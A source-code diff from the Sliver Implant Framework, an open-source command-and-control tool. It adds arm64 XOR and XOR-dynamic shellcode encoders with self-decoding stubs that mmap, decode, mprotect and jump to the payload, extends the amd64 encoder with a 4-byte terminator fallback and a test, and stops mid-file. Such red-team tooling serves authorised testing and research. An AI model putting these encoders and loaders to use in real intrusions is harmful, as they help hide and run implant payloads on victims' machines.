ShellcodeConfig: &clientpb.ShellcodeConfig{
|
||||
Entropy: ic.DonutEntropy,
|
||||
Compress: ic.DonutCompress,
|
||||
ExitOpt: ic.DonutExitOpt,
|
||||
@@ -479,6 +482,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.TemplateName = defaultTemplateName
|
||||
}
|
||||
cfg.SGNEnabled = pbConfig.SGNEnabled
|
||||
cfg.ShellcodeEncoder = int32(pbConfig.ShellcodeEncoder)
|
||||
|
||||
cfg.IncludeMTLS = IsC2Enabled([]string{"mtls"}, pbConfig.C2)
|
||||
cfg.IncludeWG = IsC2Enabled([]string{"wg"}, pbConfig.C2)
|
||||
@@ -518,15 +522,15 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Exports = strings.Join(pbConfig.Exports, ",")
|
||||
if pbConfig.DonutConfig != nil {
|
||||
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
|
||||
cfg.DonutCompress = pbConfig.DonutConfig.Compress
|
||||
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
|
||||
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
|
||||
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
|
||||
cfg.DonutThread = pbConfig.DonutConfig.Thread
|
||||
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
|
||||
cfg.DonutOEP = pbConfig.DonutConfig.OEP
|
||||
if pbConfig.ShellcodeConfig != nil {
|
||||
cfg.DonutEntropy = pbConfig.ShellcodeConfig.Entropy
|
||||
cfg.DonutCompress = pbConfig.ShellcodeConfig.Compress
|
||||
cfg.DonutExitOpt = pbConfig.ShellcodeConfig.ExitOpt
|
||||
cfg.DonutBypass = pbConfig.ShellcodeConfig.Bypass
|
||||
cfg.DonutHeaders = pbConfig.ShellcodeConfig.Headers
|
||||
cfg.DonutThread = pbConfig.ShellcodeConfig.Thread
|
||||
cfg.DonutUnicode = pbConfig.ShellcodeConfig.Unicode
|
||||
cfg.DonutOEP = pbConfig.ShellcodeConfig.OEP
|
||||
}
|
||||
|
||||
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
|
||||
|
||||
@@ -24,6 +24,7 @@ package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
@@ -34,6 +35,7 @@ const (
|
||||
xorDynamicKeyPlaceholder = 0x41
|
||||
xorDynamicPayloadPlaceholder = 0x42
|
||||
xorDynamicStubSize = 46
|
||||
xorDynamicStubSizeDword = xorDynamicStubSize + 1
|
||||
)
|
||||
|
||||
var xorDynamicBadchars = map[byte]bool{
|
||||
@@ -45,6 +47,9 @@ var xorDynamicBadchars = map[byte]bool{
|
||||
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
|
||||
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
|
||||
// encoder constraints, those are used verbatim.
|
||||
//
|
||||
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
|
||||
// that case, this implementation falls back to a 4-byte payload terminator.
|
||||
func XorDynamic(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
|
||||
@@ -162,12 +167,34 @@ func selectKeyTerm(key []byte) (byte, error) {
|
||||
|
||||
func selectPayloadTerm(encoded []byte) ([]byte, error) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Fast path: try to find a distinct 2-byte terminator not present in the
|
||||
// encoded payload. This preserves compatibility with the Metasploit stub.
|
||||
present := make([]bool, 1<<16)
|
||||
for i := 0; i+1 < len(encoded); i++ {
|
||||
present[int(encoded[i])<<8|int(encoded[i+1])] = true
|
||||
}
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
term := []byte{first, second}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
if first == second {
|
||||
continue // avoid periodic terminators (reduces cross-boundary false matches)
|
||||
}
|
||||
if !present[int(first)<<8|int(second)] {
|
||||
return []byte{first, second}, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: for large/high-entropy payloads it is possible for every allowed
|
||||
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
|
||||
// bytes) which is overwhelmingly likely to be absent.
|
||||
for attempts := 0; attempts < 2048; attempts++ {
|
||||
term, err := randomDistinctBytes(allowed, 4)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
|
||||
@@ -185,9 +212,34 @@ func allowedDynamicChars() []byte {
|
||||
return allowed
|
||||
}
|
||||
|
||||
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
|
||||
if n <= 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
|
||||
}
|
||||
if len(allowed) < n {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
|
||||
}
|
||||
|
||||
term := make([]byte, 0, n)
|
||||
var seen [256]bool
|
||||
var r [1]byte
|
||||
for len(term) < n {
|
||||
if _, err := rand.Read(r[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b := allowed[int(r[0])%len(allowed)]
|
||||
if seen[b] {
|
||||
continue
|
||||
}
|
||||
seen[b] = true
|
||||
term = append(term, b)
|
||||
}
|
||||
return term, nil
|
||||
}
|
||||
|
||||
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
if len(payloadTerm) != 2 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
|
||||
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
@@ -200,6 +252,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cmpLine := "cmp word ptr [rdi], 0x4242"
|
||||
if len(payloadTerm) == 4 {
|
||||
cmpLine = "cmp dword ptr [rdi], 0x42424242"
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
".code64",
|
||||
"jmp _call",
|
||||
@@ -222,7 +279,7 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
"xor byte ptr [rdi], al",
|
||||
"inc rdi",
|
||||
"inc rsi",
|
||||
"cmp word ptr [rdi], 0x4242",
|
||||
cmpLine,
|
||||
"je _jmp",
|
||||
"cmp byte ptr [rsi], 0x41",
|
||||
"jne _lp3",
|
||||
@@ -238,7 +295,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(inst) != xorDynamicStubSize {
|
||||
expectedStubSize := xorDynamicStubSize
|
||||
if len(payloadTerm) == 4 {
|
||||
expectedStubSize = xorDynamicStubSizeDword
|
||||
}
|
||||
if len(inst) != expectedStubSize {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
|
||||
}
|
||||
|
||||
@@ -254,13 +315,14 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
}
|
||||
|
||||
payloadReplaced := 0
|
||||
for i := 0; i+1 < len(inst); i++ {
|
||||
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
|
||||
inst[i] = payloadTerm[0]
|
||||
inst[i+1] = payloadTerm[1]
|
||||
payloadReplaced++
|
||||
i++
|
||||
placeholder := bytes.Repeat([]byte{xorDynamicPayloadPlaceholder}, len(payloadTerm))
|
||||
for i := 0; i+len(placeholder) <= len(inst); i++ {
|
||||
if !bytes.Equal(inst[i:i+len(placeholder)], placeholder) {
|
||||
continue
|
||||
}
|
||||
copy(inst[i:i+len(payloadTerm)], payloadTerm)
|
||||
payloadReplaced++
|
||||
i += len(payloadTerm) - 1
|
||||
}
|
||||
if payloadReplaced == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
|
||||
// so no 2-byte terminator can be selected.
|
||||
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue
|
||||
}
|
||||
encoded = append(encoded, first, second)
|
||||
}
|
||||
}
|
||||
|
||||
term, err := selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
t.Fatalf("selectPayloadTerm failed: %v", err)
|
||||
}
|
||||
if len(term) != 4 {
|
||||
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
|
||||
}
|
||||
if bytes.Contains(encoded, term) {
|
||||
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
|
||||
}
|
||||
|
||||
seen := map[byte]bool{}
|
||||
for _, b := range term {
|
||||
if seen[b] {
|
||||
t.Fatalf("terminator bytes are not distinct: %x", term)
|
||||
}
|
||||
seen[b] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
const xorDynamicKeySize = 8
|
||||
|
||||
// XorKeyGen returns a random key suitable for the XOR encoder.
|
||||
func XorKeyGen() ([]byte, error) {
|
||||
return randomBytes(xorKeySize)
|
||||
}
|
||||
|
||||
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
|
||||
func XorDynamicKeyGen() ([]byte, error) {
|
||||
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
|
||||
}
|
||||
|
||||
func randomBytes(length int) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
for i := range buf {
|
||||
for {
|
||||
if _, err := rand.Read(buf[i : i+1]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !badchars[buf[i]] {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package arm64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
const (
|
||||
xorKeySize = 8
|
||||
xorBlockSize = 8
|
||||
)
|
||||
|
||||
// Xor encodes an arm64 payload using a basic XOR scheme and a small aarch64
|
||||
// decoder stub (prepended) which allocates a RW buffer, decodes into it,
|
||||
// marks it RX, then jumps to the decoded payload. This avoids in-place writes
|
||||
// (W^X-friendly loaders may map the initial shellcode RX).
|
||||
func Xor(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor encoder: empty payload")
|
||||
}
|
||||
if len(key) != xorKeySize {
|
||||
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
|
||||
}
|
||||
|
||||
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
|
||||
if blockCount <= 0 {
|
||||
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
|
||||
}
|
||||
|
||||
paddedLen := blockCount * xorBlockSize
|
||||
encoded := make([]byte, paddedLen)
|
||||
copy(encoded, data)
|
||||
|
||||
for i := 0; i < paddedLen; i += xorBlockSize {
|
||||
for j := 0; j < xorKeySize; j++ {
|
||||
encoded[i+j] ^= key[j]
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildDecoderStub(blockCount, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return append(stub, encoded...), nil
|
||||
}
|
||||
|
||||
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
|
||||
if blockCount <= 0 {
|
||||
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
|
||||
}
|
||||
if len(key) != xorKeySize {
|
||||
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
keyValue := binary.LittleEndian.Uint64(key)
|
||||
|
||||
var sb strings.Builder
|
||||
sb.Grow(512)
|
||||
|
||||
sb.WriteString("adr x19, payload\n") // x19 = encoded payload base
|
||||
emitMovImm64(&sb, "x20", uint64(blockCount))
|
||||
emitMovImm64(&sb, "x21", keyValue) // x21 = xor key
|
||||
|
||||
// macOS runner maps the shellcode RX, so decoding in place will fault.
|
||||
// Instead, allocate a RW buffer, decode into it, mprotect to RX, then jump.
|
||||
sb.WriteString("mov x22, x20\n")
|
||||
sb.WriteString("lsl x22, x22, #3\n") // x22 = payload len in bytes
|
||||
|
||||
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
|
||||
sb.WriteString("mov x0, #0\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
|
||||
sb.WriteString("mov x3, #0x1002\n") // MAP_PRIVATE|MAP_ANON (darwin)
|
||||
sb.WriteString("mov x4, #-1\n")
|
||||
sb.WriteString("mov x5, #0\n")
|
||||
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
|
||||
emitMovImm64(&sb, "x16", 0x020000C5)
|
||||
sb.WriteString("svc #0\n")
|
||||
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
|
||||
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
|
||||
sb.WriteString("tbnz x0, #63, mmap_linux\n")
|
||||
sb.WriteString("b mmap_ok\n")
|
||||
sb.WriteString("mmap_linux:\n")
|
||||
sb.WriteString("mov x0, #0\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
|
||||
sb.WriteString("mov x3, #0x22\n") // MAP_PRIVATE|MAP_ANONYMOUS (linux)
|
||||
sb.WriteString("mov x4, #-1\n")
|
||||
sb.WriteString("mov x5, #0\n")
|
||||
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
|
||||
emitMovImm64(&sb, "x16", 0x020000C5)
|
||||
sb.WriteString("svc #0\n")
|
||||
sb.WriteString("mmap_ok:\n")
|
||||
sb.WriteString("mov x23, x0\n") // x23 = dest base
|
||||
|
||||
// Decode/copy loop: src=x19, dst=x0, blocks=x1
|
||||
sb.WriteString("mov x0, x23\n")
|
||||
sb.WriteString("mov x1, x20\n")
|
||||
sb.WriteString("mov x2, x19\n")
|
||||
sb.WriteString("decode:\n")
|
||||
sb.WriteString("ldr x3, [x2], #8\n")
|
||||
sb.WriteString("eor x3, x3, x21\n")
|
||||
sb.WriteString("str x3, [x0], #8\n")
|
||||
sb.WriteString("subs x1, x1, #1\n")
|
||||
sb.WriteString("b.ne decode\n")
|
||||
|
||||
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
|
||||
sb.WriteString("mov x0, x23\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, #5\n") // PROT_READ|PROT_EXEC
|
||||
sb.WriteString("mov x8, #226\n") // Linux: __NR_mprotect
|
||||
emitMovImm64(&sb, "x16", 0x0200004A)
|
||||
sb.WriteString("svc #0\n")
|
||||
|
||||
sb.WriteString("br x23\n")
|
||||
sb.WriteString("payload:\n")
|
||||
|
||||
inst, err := engine.Assemble(sb.String(), 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(inst) == 0 || len(inst)%4 != 0 {
|
||||
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
|
||||
}
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
|
||||
lo := uint16(imm & 0xffff)
|
||||
m16 := uint16((imm >> 16) & 0xffff)
|
||||
m32 := uint16((imm >> 32) & 0xffff)
|
||||
m48 := uint16((imm >> 48) & 0xffff)
|
||||
|
||||
// Explicit movz/movk keeps the stub stable across assemblers.
|
||||
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
|
||||
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
package arm64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
// xorDynamicBadchars are used when generating/selecting terminators and keys.
|
||||
// Note: unlike the amd64 Metasploit xor_dynamic implementation, the arm64
|
||||
// decoder stub is not guaranteed to be badchar-free.
|
||||
var xorDynamicBadchars = map[byte]bool{
|
||||
0x00: true,
|
||||
0x0a: true,
|
||||
0x0d: true,
|
||||
}
|
||||
|
||||
// XorDynamic encodes an arm64 payload using a dynamic XOR scheme with:
|
||||
//
|
||||
// stub + key + keyTerm + encodedPayload + payloadTerm
|
||||
//
|
||||
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
|
||||
// encoder constraints, those are used verbatim.
|
||||
//
|
||||
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
|
||||
// that case, this implementation falls back to a 4-byte payload terminator.
|
||||
func XorDynamic(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
|
||||
}
|
||||
|
||||
coreKey := key
|
||||
var keyTerm byte
|
||||
var payloadTerm []byte
|
||||
|
||||
encoded := xorDynamicEncode(data, key)
|
||||
explicit := false
|
||||
|
||||
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
|
||||
coreKey = candidateKey
|
||||
keyTerm = candidateKeyTerm
|
||||
payloadTerm = candidatePayloadTerm
|
||||
encoded = xorDynamicEncode(data, coreKey)
|
||||
explicit = true
|
||||
}
|
||||
|
||||
if containsBadchars(coreKey, xorDynamicBadchars) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
|
||||
}
|
||||
|
||||
if !explicit {
|
||||
var err error
|
||||
keyTerm, err = selectKeyTerm(coreKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
payloadTerm, err = selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if bytes.IndexByte(coreKey, keyTerm) != -1 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
|
||||
}
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
|
||||
final = append(final, stub...)
|
||||
final = append(final, coreKey...)
|
||||
final = append(final, keyTerm)
|
||||
final = append(final, encoded...)
|
||||
final = append(final, payloadTerm...)
|
||||
|
||||
return final, nil
|
||||
}
|
||||
|
||||
func xorDynamicEncode(data []byte, key []byte) []byte {
|
||||
encoded := make([]byte, len(data))
|
||||
for i := range data {
|
||||
encoded[i] = data[i] ^ key[i%len(key)]
|
||||
}
|
||||
return encoded
|
||||
}
|
||||
|
||||
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
|
||||
if len(key) < 4 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
candidateKey := key[:len(key)-3]
|
||||
if len(candidateKey) == 0 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
keyTerm := key[len(key)-3]
|
||||
payloadTerm := key[len(key)-2:]
|
||||
|
||||
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if containsBadchars(candidateKey, xorDynamicBadchars) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
encoded := xorDynamicEncode(data, candidateKey)
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
|
||||
}
|
||||
|
||||
func selectKeyTerm(key []byte) (byte, error) {
|
||||
for _, b := range allowedDynamicChars() {
|
||||
if bytes.IndexByte(key, b) == -1 {
|
||||
return b, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
|
||||
}
|
||||
|
||||
func selectPayloadTerm(encoded []byte) ([]byte, error) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Fast path: try to find a distinct 2-byte terminator not present in the
|
||||
// encoded payload.
|
||||
present := make([]bool, 1<<16)
|
||||
for i := 0; i+1 < len(encoded); i++ {
|
||||
present[int(encoded[i])<<8|int(encoded[i+1])] = true
|
||||
}
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue // avoid periodic terminators (reduces cross-boundary false matches)
|
||||
}
|
||||
if !present[int(first)<<8|int(second)] {
|
||||
return []byte{first, second}, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: for large/high-entropy payloads it is possible for every allowed
|
||||
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
|
||||
// bytes) which is overwhelmingly likely to be absent.
|
||||
for attempts := 0; attempts < 2048; attempts++ {
|
||||
term, err := randomDistinctBytes(allowed, 4)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
|
||||
}
|
||||
|
||||
func allowedDynamicChars() []byte {
|
||||
allowed := make([]byte, 0, 255)
|
||||
for i := 1; i <= 255; i++ {
|
||||
b := byte(i)
|
||||
if xorDynamicBadchars[b] {
|
||||
continue
|
||||
}
|
||||
allowed = append(allowed, b)
|
||||
}
|
||||
return allowed
|
||||
}
|
||||
|
||||
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
|
||||
if n <= 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
|
||||
}
|
||||
if len(allowed) < n {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
|
||||
}
|
||||
|
||||
term := make([]byte, 0, n)
|
||||
var seen [256]bool
|
||||
var r [1]byte
|
||||
for len(term) < n {
|
||||
if _, err := rand.Read(r[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b := allowed[int(r[0])%len(allowed)]
|
||||
if seen[b] {
|
||||
continue
|
||||
}
|
||||
seen[b] = true
|
||||
term = append(term, b)
|
||||
}
|
||||
return term, nil
|
||||
}
|
||||
|
||||
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
var payloadLoad string
|
||||
var payloadVal uint64
|
||||
switch len(payloadTerm) {
|
||||
case 2:
|
||||
payloadLoad = "ldrh w7, [x9]"
|
||||
payloadVal = uint64(binary.LittleEndian.Uint16(payloadTerm))
|
||||
case 4:
|
||||
payloadLoad = "ldr w7, [x9]"
|
||||
payloadVal = uint64(binary.LittleEndian.Uint32(payloadTerm))
|
||||
default:
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: invalid payload terminator length %d", len(payloadTerm))
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
"adr x19, payload", // x19 = key start
|
||||
"mov x1, x19", // x1 = scan pointer
|
||||
"find_key_term:", //
|
||||
"ldrb w2, [x1], #1", // read key byte
|
||||
fmt.Sprintf("cmp w2, #0x%02X", keyTerm),
|
||||
"b.ne find_key_term", // keep scanning
|
||||
"mov x20, x1", // x20 = payload start / jump target
|
||||
"mov x3, x1", // x3 = payload decode pointer
|
||||
"mov x4, x19", // x4 = key decode pointer
|
||||
fmt.Sprintf("movz x10, #0x%X", uint16(payloadVal&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #16", uint16((payloadVal>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #32", uint16((payloadVal>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x10, #0x%X, lsl #48", uint16((payloadVal>>48)&0xffff)),
|
||||
|
||||
// Scan for the payload terminator (it is guaranteed not to occur in the
|
||||
// encoded payload), then allocate a RW buffer, decode into it, mprotect
|
||||
// to RX, and jump.
|
||||
"mov x9, x3", // x9 = scan pointer
|
||||
"find_payload_term:",
|
||||
payloadLoad,
|
||||
"cmp w7, w10",
|
||||
"b.eq payload_term_found",
|
||||
"add x9, x9, #1",
|
||||
"b find_payload_term",
|
||||
"payload_term_found:",
|
||||
"sub x22, x9, x20", // x22 = payload len in bytes (terminator excluded)
|
||||
|
||||
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
|
||||
"mov x0, #0",
|
||||
"mov x1, x22",
|
||||
"mov x2, #3", // PROT_READ|PROT_WRITE
|
||||
"mov x3, #0x1002", // MAP_PRIVATE|MAP_ANON (darwin)
|
||||
"mov x4, #-1",
|
||||
"mov x5, #0",
|
||||
"mov x8, #222", // Linux: __NR_mmap
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
|
||||
"svc #0",
|
||||
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
|
||||
